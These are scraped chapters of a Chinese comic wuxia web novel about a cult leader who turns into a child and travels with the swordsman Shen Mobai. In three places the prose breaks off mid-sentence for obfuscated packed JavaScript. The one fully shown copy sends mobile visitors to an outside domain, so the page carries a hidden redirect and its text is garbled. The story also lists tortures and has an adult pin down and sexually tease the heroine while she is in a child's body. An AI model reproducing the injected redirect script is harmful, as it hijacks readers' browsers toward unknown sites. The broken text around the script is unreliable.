事实上,那一瞬间,我只感觉到心脏猛然收紧了,有一种难以言述的恐慌。我这脑子根本都没多想,身体就自己动了。 匕首被我踢飞,“唰”地一下狠狠扎进了“西龙王”背后的墙壁里,离他老人家的耳朵,只有分毫的距离。“西龙王”当即就不淡定了,端着茶水的手,一个没拿稳,“哐当”一声翻倒在地。 顾染织跪在地上,抬着头,不知所措看着我,表情呆愣愣的。 那一瞬间,场面有点尴尬。 我咽了口唾沫,咳嗽了两声,然后俯视着顾染织装模作样厉声道,“谁允许你自作主张?想这么容易就死?那也太便宜你了!来人!先把他给压下去!好生照看着,现在还不是他死的时候!” 顾染织被人拖下去的时候,仍旧瞪着眼睛死死盯着我。就仿佛,他这一辈子从没认识过我一样。 我足尖轻轻一点,飘然落回王座上,“十四,处置顾染织的事情就交给你了。” 十四微不可闻地叹了口气,“是。属下领命。” “西龙王”自然看得出我偏袒顾染织,故而不死心得追问,“教主,你就如此轻易放过他?” 我一步步走上王座的台阶,闻言,骤然回眸,冷声道,“怎么?我不过离开几日,尔等就不懂得规矩了?我做事何时轮得到你们指手画脚?!” “西龙王”显然是没想到我竟如此动怒,对上我阴冷的目光,忍不住哆嗦了一下,就迅速别开眼不说话了。 顾染织的事情暂时是过去了,麻烦事仍旧没完。 我懒洋洋躺会王座上,“这次,总坛又多少损失?” 下面立即有人回报,“回教主,折损了大约五分之三。” 我咬牙,“这么惨?” “是。在攻防战中折损了精锐二百余人。其他的人,大多是中了唐门投在水中的毒,毒发身亡的。因为总坛被围在剑阁内一个月,最后水尽粮绝,实力大打折扣。若不是连日降雨颇多,恐怕损伤会更大。” 我头疼无比。从前娘亲跟我讲过一个故事,有一个国家,因为人口过多,粮食不够吃了,于是便不准人们生孩子。便有了一个叫做“计划生育”的法令,令曰:“一胎生,二胎扎,三胎四胎杀杀”,实在让闻者震撼,我至今都记忆犹新。然而,如今,各门各派最值钱的就是人命!打群架最重要的是什么?除了主帅之外,当然就是人数!哪个门派人多,哪个门派的实力就强大。镜花宫是个魔教,本来声誉就不好,投到门下的都是些地痞无赖流氓山贼,要不是走投无路,这些人渣们肯定也不会来。而这些人都一身市井习气,来魔教就是为了杀人放火,很难学得什么上乘武功。若不是我修罗地狱一般的训练,不,训练已经不足以形容,应该叫“调教”!镜花宫怎么可能会有现在的实力。本座花了十年心血好不容易调教好了一批精锐部队,竟然一下子死了一半下去!本座怎么能不痛心疾首! 本座化悲愤为暴力,猛的一拳锤了在紫金座椅的扶手上!咬牙切齿,一字一句诅咒道,“岂有此理!唐门!唐斩!这笔账本座算是记下了!此仇定然不能善了!” 说完,众人立即道:“教主英明。” 我发现所有人的目光都集中在我拳头上。仔细一看,才发现,扶手头上那个紫金雕琢的龙首,被我一拳给垂扁了,原本是龙头张嘴咬珠的造型,现在变成了个咬到舌头的龙头的造型…… 我咳嗽了两声,“对那些有家眷的教徒,要好生抚慰他们的眷属。钱不够,就从金陵分教要,他们钱多得是。还有,传令给各个分教,每个分教抽调十人到总坛来。告诉他们,派‘精锐’,敢糊弄我,就小心他们肚子里的肝胆心肺!” “是!” 料理完这事儿之后,我喝了口茶,目光不着痕迹地从那两个长老——西龙王、风尘楼主身上划过。接下来,就是剩下的这俩老不死了…… 本来,长老是有五人。除了风尘楼主和西龙王,还有叛变了的“屠龙手”段岑、隐退了不管世事的“绝尘女”和已经被顾染织设计干掉了的“红梅老怪”。 我慢慢放下茶盏,突然换上了一副悲痛欲绝的表情,“风尘楼主啊,西龙王啊……” 那两位被我这眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是,最后戏作足了,我便收起那一脸假慈悲,挂上一个似笑非笑,奸邪无比的表情,阴阳怪气道,“二位年事已高,依本座看,不如早早推荐即位的人选吧。不然,若是步了‘红梅’的后尘,本教主,会很伤心的……” 风尘楼主没有西龙王能沉得住气,听到此话,又一次猛的从椅子上站起来,并且以一种不可相信而又充斥这怨怒的目光瞪着我。 你瞪我也没用。 我冷笑。你以为你是个长老,我就会把你放在眼里了?你们以为此时仍旧是我师傅当教主时么?能任你们为所欲为?笑话!你几代元老又怎样?你手握大权又怎样?这权力,我想何时收回来便就何时收回来!这镜花宫,如若没有我白玉蛟,便是一盘散沙,而长老替换的人选,要多少就有多少! “绝尘女”从头到尾都一直事不关己一半地悠闲地喝茶。绝尘女在我掌权之后没多久就交权了。因为她是真正的聪明人,早就看透了局势,也看透了我的性子。她现在正在和老相好逍遥江湖,日子过得滋润地不得了。当真是应了很多年前,我送给她的那首诗: 栖息绝尘侣,孱钝得自怡。 腰悬竹使符,心与庐山缁。 永日一酣寝,起坐兀无思。 长廊独看雨,众药发幽姿。 今夕已云罢,明晨复如斯。 何事能为累,宠辱岂要辞。 我遥遥与绝尘女相视一笑,然后一甩宽袖,站了起来。 “我有点累了,诸位手头应该都又不少事要做吧?别在这里杵着了,散了吧。” 如今正值仲秋之时,正是漫山枫叶飘红的时候。层层山峰林叶尽染,绿,黄,红,或渐变或错杂,鸟鸣声间或响起。一切都安静而祥和,风里都是青翠山林潮湿清新的味道,若不是其间夹杂着的丝丝缕缕的血腥味,几乎都要让人忘了就在不久之前,还有一场血战。 我屏退了下人,一人漫步在庭院里。虽然看不见,但我知道十四在我周围。于是,我在竹桥上停下,有些百无聊赖地看着池子里游弋的各色锦鲤。还好,这池子是死水,不然,我喂肥的这群鲤鱼,恐怕现在已经和谐地翻着肚皮躺成一排了。 “十四,你打算怎么处置顾染织?” “刖刑,割手,挖眼,割耳朵,插针,锯割,断椎,骑木驴。”十四毫不客气冷冷道,而且我我发从他语气中听出半点开玩笑的意思。 看来,十四是真的很讨厌他。我干笑了一声,“你是打算把我教你的十大酷刑全用上啊……先说好,顾染织的身子我中意的很,你可得给我保证他四肢俱全皮肤完好!骑木驴什么的可以,只是十四你万万不可断了袖亲自提枪上阵。” 然后,我就听到了十四又在叹气,“教主,十四向来不敢自作主张,只听您差遣。若您真动杀心,在大殿上便不会阻止他自戮。虐囚之事,您绝不会做。” 我闻言,心脏微微震动了一下,忍不住抬头回眸。 十四抱着剑,倚着木质回廊的柱子闲散站着。 “您将他交给我,便是想放过他吧?”十四说到这里,嘴角微微漾起一抹无奈的浅笑,“我明白的。” 风过,卷起他的黑发,飘散着空中。 黑金面具遮掩了他的眉眼,面具下,露出他精致瘦削的下巴。 一瞬间。我感觉到窒息。 “喂!”几秒的愣神之后,我忽然缓过神来,“你这小子!是不是把我当小丫头当出惯性来了啊!你那说话的态度是怎么回事啊!反了你了!” 十四突然被我一吼,一下子就慌了神,手忙脚乱原地立正,“啊?那个,不是的,我……” 28. 流氓妖孽再聚首 夜幕降临,一个人躺在寝宫的大床上,盯着黑红色的纱帐发呆。半年多未曾躺在这张床上,今日才后知后觉发现,这床似乎是太大了些。一人睡在中间,竟有一种空落冰冷的感觉。想来,真是三十年河东,三十年河西,我不过只有半年不在总坛,如今便连个暖床的人都没有了,凄凉啊,这是凄凉。回想今日种种,一车子麻烦事在心中盘桓不去,我在床上翻来覆去无法入眠。 经过上次八月十五和今日变化,再加上神秘白衣人的提点,我大概推断出变身的规律:每个月的月圆之日,便是我的变身之时。上个月我变大不足六个时辰就变了回去,这次已经过了七个时辰,我仍旧是大人的模样。至于能保持到何时,我就没把握了。像这般摸不清变身时长实在是太危险,万一在人前“嘭”地一声变化了,我铁定立马被恨我入骨的那帮长老、属下给乱刀捅死。 如今姑且算是安顿了总坛之事,我必须立刻脱身。此次我可以借口微服私访,暂时离开总坛一段时间。顺便去寻找恢复原状的方法。 我正枕着手臂发呆,忽然,纱帐之外墙角烛台上的红烛齐刷刷猛的倒向一边,又骤然立起——有人! 我立即警觉地坐起身,手摸到了枕头下面的茅草叉,“是谁?!” 隔着帘帐,我隐隐约约看到一个模糊的白色人影。我心里一惊。男人?竟然敢夜闯镜花宫教主的寝宫?!贞操不想要了?! 虽然说现在镜花宫内一片混乱,但是想要突破重重守卫、机关、奇门遁甲,入得了我帐内,据我所知,这天下,绝没有这样一个人。一瞬间,脑中一道灵光闪现,我突然想到了一个极为关键,却连个脸都没露的人物——神秘的白!衣!人! 这个人物,出现的如此突兀,又如此恰逢时机,就仿佛他对我的一切都了若指掌,知晓我的一切秘密,甚至也了解刹那芳华的秘密。我感到一丝惊恐的同时,也让我感到抓到一丝希望——解开刹那芳华之迷的希望! 我一骨碌从纱帐里钻出来,不管自己此刻衣衫凌乱,急急道,“前辈!请指教‘刹那芳华’的秘密!” 站在窗口的果然是那个白衣人,他面纱外露出一双清透至极看破红尘百态的眼睛,那眼睛竟是如此之惊艳,看得我不由一愣。他回头看着我,悠闲抬起一只手,推开窗子。 我心中一惊,叫道,“别走!” 事与愿违,下一秒,他抛给我一个意味深长又高深莫测的微笑,一转身,人已经若冲天白鹤一般掠出窗外,一瞬间就隐没在了黑暗中。 我走到窗边,没有追出去,因为那家伙的轻功比我强……而且,似乎也没有追的必要。白衣人在窗边留了一个信封,我展开信纸,里面只竖着写了几个字。 我扬了扬眉,有点疑惑地摸了摸下巴。之后,我做了个决定。我走到书桌边上,抄起笔,也写了一封信。 这封信是留给绝尘女的。现在能信得过的人,也就是这位大婶了。我知道我把这么个烂摊子丢给她,打扰她跟她老情人逍遥江湖的生活,她铁定气疯了想掐死我。不过,绝尘女是我师傅的至交,看在我师傅的面子上,她是不会将我将镜花宫弃之不顾。 我封好信封,捏着那封薄薄的信笺,想起与这封信有关的另外一个人,忍不住轻轻叹了口气。 “十四。” 我语落,窗子响起一声轻微的“咔嚓”声,开了又阖。 随即,十四鬼魅一般出现在我背后。 “教主,属下无能。” 我回头瞥了他一眼,发现这孩子气喘吁吁,下巴尖儿都滴着汗。 我扬眉,“你去追那个白衣人了?” “是。” 我看了他一会儿,突然抬手在他脑门儿上狠狠弹了一下,“傻瓜!我都追不上的人,要是让你追上了,我面子往哪儿搁!那家伙并非武林同盟之人,依我看似友非敌,没事。” 十四很无辜地搓了搓脑门,随即低下头,有些赧然。 我从桌子上拿起写好的信,“十四,有个任务给你。把这封信交给绝尘女。告诉她,我现在有重要的事要做,一时半会儿还回不来,镜花宫就拜托给她了。” 十四从我手里接过信。闪烁的烛光映得他戴着面具的面孔,有几分阴晴不定。 我背对着他,没有了下文。十四也闷不吭声的站着,他咬了咬唇,似乎在压抑着什么。一时间,房间中,只剩下有些微妙的沉默。 最后,是十四沉不住气了,低声问,“教主,你难道打算……” 我不回答,默默拿起梨花木书桌上的小银钩,拨了拨烛芯。 十四的声音有些焦躁了,“十四誓死追随着教主!除了教主身边,十四哪里也不去!” “啪”得一声,烛焰炸出了一个小小的灯花。 我把手里的银钩放下,心脏有一点点不舒服。我什么都没说,但是十四却全明白了。为什么我要十四去交信?这种跑腿的小事,随便找个侍卫就绰绰有余了。那是因为,这信里,也有叮嘱十四的事情。我嘱托他,在我离开镜花宫的日子,好好辅佐绝尘女,盯紧长老们,并且帮我物色下一批暗卫的人选。 我要离开镜花宫,他却必须留下来。 十四虽然表面上看去呆呆的,木木的,闷不吭声,有时犯起傻来气得我头疼。但其实,他是极其聪明,心思极其缜密的一个人。并且,大概是这世上最懂我的人。纵使,我什么也不说,只需要我一个眼神,一个动作,他就能揣测出我心中所想。所谓心有灵犀,也不过如此了。 我用力闭了一下眼睛,随即猛的一回头,瞪着十四。 难得,这次这小子没有躲开我的目光,虽然有些犹豫有些勉强,他还是固执地与我对视。 我一下子凑近十四的脸,抬起食指就开始戳他脑门,“喂,死小子,我可没征求你的意见!” 十四被我戳了十几下之后,突然一下子爆发了,他猛地抓住我的手指,“教主,离开镜花宫后你要去哪里?你变成那个样子,遇到危险谁保护你?一个那么小的女孩儿,手无缚鸡之力,江湖险恶我如何放心的下?” 我被他突然大声说话的样子给震住了。记忆中,这似乎是十四第一次对我大声说话。而且……这个说话的内容,怎么……怎么听怎么别扭啊!我相信,如果现在有任何人听到十四对我讲出这番话,都会认为他得失心疯了。 我是江湖最邪恶的恶棍,还会怕江湖险恶?我明明就是造成江湖险恶的罪魁祸首吧?不过,我当然也明白十四担心不无道理。魔头,之所以为魔头。并不是因为她心如蛇蝎,而是因为她武功盖世。我若是没了武功,也只不过就是个小流氓。 十四吼完,才顿觉失言,他“噗通”一声跪在地上,但是也没有开口认错。 我当即已经冷下脸来,“你从现在开始闭嘴,再说一句话,我就把你扔到水牢里关两年。” 十四抬头,我看到他咬了咬下唇,最后重重在地上叩首,表明自己已经明白了。 “十四,你记好了,对我来说,你不是一个必须不可的人,我随时可能把你从我身边一脚踢开,所以,以后你要谨言慎行。”我语速不快,语气也丝毫不愤怒,应该说,是一点感情也不带。无论是内容还是语气,都如同冰一般,冷得让人心寒。 十四又重重在地上扣了一下头。 “关于顾染织的处置……把他安排进暗卫里吧,你对外就说已经杀了他了。你若是信得过他,就让他暗中跟着保护我,若是信不过,就把他留在自己身边。你自己定夺吧。” 说完,我估摸着时间也差不多了,最后回头看了跪在地上不曾抬头的十四。 紧接着,我猛地一提气,脚尖一点,便从刚才白衣人逃走的窗子,掠出了房间。 说起为何我此刻突然丢下了十四,丢下了镜花宫,行色匆匆飞檐走壁,这事儿还得从白衣人留下的那封信说起。那封信上只有寥寥几个字,上书:寅时,翠云廊。白纸黑字明写时间地点,这不是明摆着让你去跟他接头么?白衣人身份神秘着实引起了我的兴趣,于是本座毫不犹豫去单刀赴会。 翠云廊分为西段、北段、南段。以剑阁为中心,西至梓潼,北到昭化,南下阆中的三条路,在这三条蜿蜒三百里的道路两旁,全是修长挺拔的古柏林,号称“三百长程十万树”。信中写了这么个模糊的地点,但我第一反应,就是昨天晚上白衣人劫我去的那个地方。 然而,路刚走了一半,我突然停住了。我看到,在蜿蜒崎岖的山间小道中央,有一个人牵马而立。皎洁的月光,落在那人白色的衣袖上,泛出一种珍珠般冷蓝色的微光。 我之所以停住,是因为觉得好奇。这家伙牵着白马,三更半夜一个人跑到魔教地界内到底想干嘛啊? 那人察觉到了我的存在,侧过头来看我,对我微微一笑。 我看到那个人的脸,刹那间,眼睛瞪圆了一圈儿。 “你出来散步?这么巧啊,我也散步。”男子伸了个懒腰,而后浅浅一笑,露出颗虎牙来,有几分少年般的玩世不恭。 沈墨白牵着马向我走过来,忽然举头望明月,诗兴大发道,“你还记不记得,这是我们第一次相遇的地方……” 我不由自主倒抽一口冷气后退了小半步:沈墨白,你该不是被什么奇怪的东西俯身了吧? “那时候你还是个小丫头片子……”沈墨白仰望天空继续发情。 我赶紧搓了搓手臂上了寒毛。这“往事如烟”的语气,着实令本座肝胆心扉都一阵恶寒呐!再说我跟他似乎也没认识多久吧? 沈墨白全然没有顾及到本座脸上那扭曲的表情,毫无知觉,继续道,“当日,你竟然逼着我拔剑。你大概不知道,我的剑,若是出鞘了,不嗜人性命,是绝不能收剑的……” 他说这句话的时候,我冷静了一瞬间。剑?印象中,似乎的确是有那么一把出鞘必见血的名剑,似乎为一大派所收藏。至于是哪个门派,我一时竟有些想不起。 “真是没有想到,你竟然真的是白玉蛟。大千世界,当真无奇不有,你们镜花宫,还真是有趣得很。我真是好奇啊,你师傅是怎么培养出你这么个旷世奇葩的……” 我被这丫充满感慨的语气,以及柔声细语的强调给狠狠的恶心到了,最后忍无可忍怒吼一声打他,“喂!沈墨白!你丫怎么在这里!” 沈墨白愣了一愣,非常欠扁地反问,“你怎么在这儿?” “我、我跟人有约!” 沈墨白看着我,非常贼地笑,“我也约了人啊。” 我被这丫惹得怒火中烧。我现在明明不是“小白”了啊!本座是江湖第一女魔头白玉蛟啊!为什么还是被他气得胃疼?! 思及至此我赶紧调整状态,深呼吸了一下,手一叉腰,下巴一抬,做足了魔教教主的派头,阴阳怪气说,“那倒是奇了怪了,我听说武林同盟此时正在锦官城大摆庆功宴,庆祝重创了我魔教。你这个打退了天下第一女魔头的大功臣,怎么不去庆功,反倒在我们魔教的地盘上没事找茬啊?你该不会是活得不耐烦了吧?难道你当真以为我不敢杀你……” 沈墨白听我说完,似乎是终于发现我并不是在跟他开玩笑,瞬间脸色变得有点凝重,“喂,难道不是你派人送信来,让我寅时在翠云廊等你吗?” 这次轮到我发愣了,我气急败坏吼回去,“你说什么?!我怎么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈墨白却似乎兴奋地很,他复活了一般,一个箭步冲上来就把我抱起来了,“我的小可爱,我还以为你要化身成什么蛟龙之类的东西,在天上飞几圈再变小呢。怎么变化地这么穷酸,哈哈哈……” 我擦,我又不是孙悟空!又不是小哪吒!变你个头啊! 随即,我猛地反应过来另外一件事…… 沈墨白明明已经知道我是白玉蛟了!干嘛还死皮赖脸地抱我啊! 紧接着,我猛地想起了很久以前发生的另外一件事……沈墨白那个变态曾经借口要给我洗澡扒光了我,按在桌子上蹂躏啊! 我颤抖着反思了一下自己和沈墨白的关系,突然有一种五雷轰顶的感觉。 澡一起洗了,觉一起睡了,身体都被他摸光了,头发都被他梳了……夫妻该做的不该做的都做了……本来觉得自己一副七岁的样子,他对我顶多只能勉强算是长辈对一个孩子的宠爱,就算被摸了,我也能觉得很坦然。但是,他现在明明知道我,我就是白玉蛟…… “沈墨白……”我猛地冷声开口,声音是阴森阴冷阴测测,小孩子的声音配上这种语气,十足的诡异,我自己听了都打了个冷颤。 “恩?” “你……到底搞明白情况了没有?你知不知道你怀里现在抱着的是谁?” 沈墨白定定看了我一会儿,随即低头,“噗”地一声笑了。 “我知道啊。我知道你是白玉蛟,也知道你也是小白。” 我语塞了一瞬间,“沈墨白你脑子里到底装的是什么?豆腐渣渣吗?” 沈墨白不置可否地笑笑,“那你听我重新猜一次……你呢,不是白玉蛟的私生女,你就是白玉蛟。你练的魔功‘刹那芳华’的确出了岔子,你变回了自己小时候的模样,并且无法使用内力。然而在一些特定的情况下,你又可以变回白玉蛟。你第一次变小的时候,被你的心腹所害,被我误打误撞给救了。这一次,你又变小了,镜花宫你是呆不下去了。所以,你又第二次被我救走了。” “猜的基本正确……除了最后一句!”我说完,猛的挣脱了他的臂弯,轻轻一跃,腾空做了个三百六十度翻腾,最后轻巧落在地上。 这一刹那,我明显感觉到,虽然内力没了,但是武功却似乎没有完全消失,力量、平衡感、反应状态都处在极佳的状态。当年顾染织断我手脚的旧伤也已经完全看不见任何痕迹。莫非,这全是由于“刹那芳华”第九层的精妙? 我扔下沈墨白,拖着不合脚的鞋,拽着不合身的衣服,慢腾腾向着山下走。背后,沈墨白的声音又响起来,“你一个人要去哪里?给你写信的人是故意要促成我们见面,他不会来了。” 我不理他,继续走。 “喂,你忘了我是烟雨楼的人吗?烟雨楼的情报网络遍及整个中原,你若是执意找白衣人,我来帮你!” 我有点犹豫了,但是为了顾及面子,还是气势汹汹向前走。 最后,我听到沈墨白鼓足了力气,叫道,“喂!我给你讲个段子!好笑的话,你就跟我走!从前!有一个叫‘阿爽’的人……” 忽然。我站住了。 忽然之间,我胸口涌上一股淡淡的,暖暖的,难以言述的感觉。 我不由自主回头。 几十米之外,沈墨白夸张地对我挥了挥手。随即,他一个纵身,一步跃上马,拉了缰绳,策马飞奔过来。 在路过我身边的时候,我犹豫了一下,还是伸出了手。 他顺势一弯腰,把我给捞到了马上。 天边,泛出一丝浅浅的鱼肚白。 朝阳,就崇山峻岭之后,将一切都镀上一层金红。 29. 抖S归来!雄起吧!孔雀男! 中原武林倾尽全力合攻镜花宫,本是想借其群龙无首之时将其一举歼灭,然而,在最后的千钧一发之际,白玉蛟的突然出现使得武林同盟溃不成军。双方在此一役中两败俱伤,虽然定下了井水不犯河水的誓约,只可惜林欲静而风不止,黑白两道势力同时受到重创,江湖之中的微妙的平衡已是处在崩毁的边缘。此时此刻的江湖,大有山雨欲来风满楼之感。 中原武林的老江湖们,几十年的江湖毕竟也不是白混的。他们自然也敏感嗅到了周围危险的气味,于是,为了巩固整个中原武林,剑阁之战一结束,中原几十个门派便凑在一起开了个会,决定联手组建一个真正的“武林同盟”。“武林盟”曾存在于百年前,最后一任盟主乃是当时的金陵霸主“天下堡”柳家的柳闲歌担任。当年的武林盟铲除了西域魔教“拜月教”后,中原武林便迎来了百年的安稳昌盛,武林盟再无存在的必要,便销声匿迹了。 如今,武林再遇变劫,只得再取当年人之法,弄个“武林同盟”出来。“武林同盟”选址于金陵,由各个门派抽调精英共同组成。“武林同盟”做出的决定,定下的规矩,中原各门派必定要遵守,违令者,将受到武林同盟及整个中原武林的共同惩治。 此事一经敲定之后,组建武林同盟的一切事宜便被提上了日程,其中重中之重便是推举一个武林盟主。自古以来,武林盟主之位就一直是块被众人垂涎三尺盯着的肥缺。至于武林盟主位置应该归谁坐?几大门派争来吵去,各不相让; 少林秃驴说自己是武林第一大门派,最有资格来做盟主;青城派说自己为武林做出贡献最大,理应获此殊荣;武当说自己的武功最博大精深,让他们当盟主没错……最后,这些门派挣来抢去的结果就是——公平起见,大家谁也别当盟主。无论哪一个门派得到了盟主之位,其他门派都会心有不服,而且也会担心此门派借着武林同盟的力量趁机将势力扩张,威胁或排挤其他门派。这些老奸巨猾的掌门们最后一合计,决定选一个无门无派,却能够担当大任,同时资历地位又不是太高的人来担当这一位置。如此一来,既不用担心此人会滥用职权厚此薄彼,又容易被操控,方便各大门派摆出老前辈的架势给他施压。 这样的人到底容不容易找呢?虽然听起来条件很苛刻,但毕竟江湖人海茫茫,找出几个这样的奇葩还是不在话下的。 光是诸位熟悉的,就有这么两个——凤栖梧和沈墨白。 凤栖梧入江湖极早,虽然年纪轻轻,但在江湖上已经算是无人不知无人不晓的高富帅,不仅武功强,家世好,结交广泛,而且还是个公认的“无不良嗜好,品行端正,尊老爱幼的好青年”。但是,他背后那个庞大的家世,这次对他取得盟主之位却是个阻碍。他老爹镇西王的野心太大,恐怕武林里的老狐狸们会对他有所防备。而那个沈墨白嘛,原本他就是个名不见经传的无名小卒,却在剑门关一战之中,与那个已经强悍地超越人类极限的白玉蛟打成了平手。剑门关一战在传言中被描述地神乎其神,据说沈墨白与白玉蛟鏖战七七四十九日,打得天崩地裂,风云变色。如今,中原武林中现在有不少人都把沈墨白当成了英雄一般崇拜,都说“若是没有沈墨白,中原武林指不定就被白玉蛟这个女魔头给夷为平地”。不仅武功强悍,沈墨白其他的条件也是不错的:年纪轻轻,为人低调谦虚,而且根正苗红——沈家堡是十多年前就被白玉蛟给血洗了,现在只剩他一个人孤苦伶仃。如此一来,沈墨白背后即没有一股势力替他撑腰,又博得了不少武林同袍的同情,以及同样是镜花宫受害者的道义支持。 现在,就是这二人,夺取盟主之位的呼声最高。 至于到底沈墨白自己想不想当门主,我就不得而知了。 本来我以为沈墨白是个生性放荡,不务正业的家伙,不过,这两个月我和他一路从蜀中折返回金陵,途中,他与各大门派的人应酬交际的样子都很是得心应手,一改往日地痞无赖的样子,装得正经八百,好像自己真的是个低调的青年才俊似的。 我今天跟沈墨白一起拜会了天机山庄。我脖子上本是有沈墨白给我套上的乌金锁。只是那一夜在金陵我变身回白玉蛟,锁头卡在脖子上太难受,我便随意一扯给它扯坏了,结果因其是个乌金,任何兵刃都奈它不得,只得一只挂着一把破锁在脖子上。今日总算是请天机山庄的庄主,亲自把我脖子上的乌金锁给取下来。之后,沈墨白又免不了和那老庄主共进晚宴,唏嘘一番。 半夜,我们回了客栈,我坐在床上梳头发,他在浴盆里泡澡,我忍不住问,“沈墨白,你到底想不想当武林盟主?” “你猜呢?” 我翻了个白眼,这厮有话不直说的性子什么时候能改改?兜圈子浪费多少时间费了多少脑子,真是不值。 我哼了一声,“你这种人,胸无大志,分明就是个米虫。连个烟雨楼的管事都嫌麻烦不肯当,你跟我说你想去当武林盟主,以后每天过着成天跟老秃驴老道士纠缠不休的日子,鬼才信呢。” 沈墨白抬手撩开挡着浴室的纱帘,遥遥看了我一眼,垂眸一笑,“这盟主,我的确不稀罕。” 我侧眼斜睨他,“但是你近日来的表现,可不是如此的。你每日努力扩展人脉,跟不少门派都打得火热,一副对盟主之位志在必得的架势啊。莫非……”我忽然蹙眉,想到了唯一一种可能性,“是有人逼着你这么做?” 沈墨白不置可否,他放开撩着帘子的手,打了个呵欠,重新躺回浴盆里。 我觉得我自己肯定猜对了八成,于是继续试探道,“这段时间我一直没见到薛紫啊,难道是被你卖了?或者是,被扣在烟雨楼里了?” 我话音刚一落,沈墨白就忽然“哗啦”一下,赤身裸体从浴盆里站起来,惊得我瞬间别看了眼。 沈墨白扯了件浴衣往身上一裹,便掀开帘子大大咧咧走了出来,潮湿的头发甩在肩上,留下一路湿漉漉的痕迹和脚印。 我看到他大步流星向我杀来,不由自主往床里面缩了缩,双手在胸前交叉成一个叉,警惕叫道,“喂!你是想怎样啊!你敢动我一下,小心我变回去之后阉了你!” 我话音没落,转瞬之间,只感觉到面前一阵凉风扑面。紧接着,一个温热的身体已经把我压倒在柔软的床褥里了。 “啊,要阉了我?”他轻笑,“……那我是不是应该在你变回去之前,好好享受个够,把一辈子的份都给做足呢?”沈墨白一只手就把我制服,他低下头,轻轻在我耳边耳语,湿热的气息喷在我脖子上,惹得我一阵脊背战栗。 我被他吓得手都软了一下。 虽然我这些年来不知道摧残了多少大侠少侠,美中年美青年,对这种事都有点麻木了。但是现在我可是个弱不禁风的孩子,一下子被一个比自己大了一倍,并且充满了危险气息的雄性给压倒,我的动物本能便立即警戒:动物凶猛!注意安全! 下一秒,我猛烈扑腾起来,使劲挣扎,“沈墨白!你个死恋童癖!滚一边儿去!你欲求不满找你老婆去!” 沈墨白却仿佛没听见似的,没心没肺笑着,一下子搂着我的腰滚进被子里,像蚕蛹一样把我们包裹在一起。 “哎呀,抱都抱过那么多次了,事到如今,你还来装什么处女啊?” 我憋屈,使劲挣扎了几下,无果。只好破口大骂,“去死!就算不是处女也不跟你睡!就你这样的残次品,本座瞧不上!” 沈墨白一皱眉,“啧,你怎么知道我是残次品?不如亲自试试?” 我气结,冷笑,“我……我不用试也知道!二十好几的人了连个老婆孩子都没有!不是残次品是什么!” 沈墨白却噗嗤一声笑了,“喂,你难道没听说过‘红颜知己’,‘露水姻缘’么?” 瞬间,我就想起了千宜阁和苏小小。沈墨白跟这个江湖第一名妓苏小小那么熟,说不定是千宜阁的常客啊。啊!这男人,真是…… “水性杨花!”我盯着他,一字一句从牙缝里把话挤出来。 沈墨白毫不退让地回瞪我,“喂,男人的情人多不叫水性杨花,那只能说明他风流倜傥。要论水性杨花……”他嘴角一扬,空出一只手抚了抚我嘴角的碎发,“不知道是谁啊,最喜欢男色,在江湖中臭名昭著,据说帐下有男宠三千,一夜驭十男……” 我一听这话就来气了,“凭什么男人有很多女人就是有魅力?女人有很多男人就要被鄙视?” 沈墨白看着天花板想了一瞬间,随即答道,“打个比方,这就像是如果有一把钥匙能开很多把锁,那说明这钥匙很金贵,是把□□。若是有一把锁,能够被很多把钥匙打开,那只能说明,这锁有问题。” 沈墨白说完,就自顾自搂着我又滚了一圈,厚颜无耻闭眼睡觉了。 我张口结舌,竟然找不到话来反驳。之后我冥思苦想,妄图找到一个例子来反驳他,愣是想不到。我气了一会儿之后,也就淡定了,随即心里隐隐觉得这家伙在隐瞒什么。方才我问他是不是被要挟,他就过来找茬故意避过话题,这摆明了就是被我言中了。莫非,真的是颜静行强迫沈墨白去当这个武林盟主?是为了扩张烟雨楼的势力么?还是,另有其他人别有用心,从中作梗? 第二日一早,我朦朦胧胧半梦半醒从被窝里爬起来,摸了摸身边,发现沈墨白已经不知所踪了。这家伙这些天总是神神秘秘的,我当然也不会追问。自从沈墨白发现我是白玉蛟之后,虽然他在我面前依旧没大没小地嬉笑玩闹,我们依旧找茬斗嘴掐架,但是,我们之间却出现了一条泾渭分明的界线。这条界线便是我们的底线,相互不得逾越半步。他的事我不管,我的事他不问,他做什么我全当没看见。我们再也不会像从前那样相互刺探,乐此不疲地相互挖掘内幕。 我穿好衣服,打着呵欠去漱口,我刚喝了口漱口水,忽然感觉到脖子上一冷。 我下意识一抬头,囧然对上一张放大的脸,正在我脑袋的正上方。 我惊吓过度,一个不小心,“咕嘟”一口,漱口水咽到肚子里去了…… “好久不见呀。” 男子“唰”地一声展开手里的扇子,扇了两下。 大冷天的,你丫耍酷也不怕感冒。 “……“我摇晃了一下,退了几步,与那个人拉开距离。 眼前的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349865|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一身鹅黄色的锦缎长衣,墨色的长发用金环束在背后。他一双桃花眼似笑非笑看着我,鬓角的长发随着扇子风一起一落。总之,整个人散发着一种能够刺瞎狗眼的华丽光芒。 我跟他对视了几秒,然后重新走回盆架旁边,继续漱口,“凤栖梧,你来这里干嘛?你要是找沈墨白的话,不巧,他出去了。” 凤栖梧很自觉地自己走到桌边坐下了,并且打开了食笼,拿了块糕点放进嘴里。 他拿的是块桂花糕,这家伙从小就爱吃甜食,长这么大了还不改改这习惯。 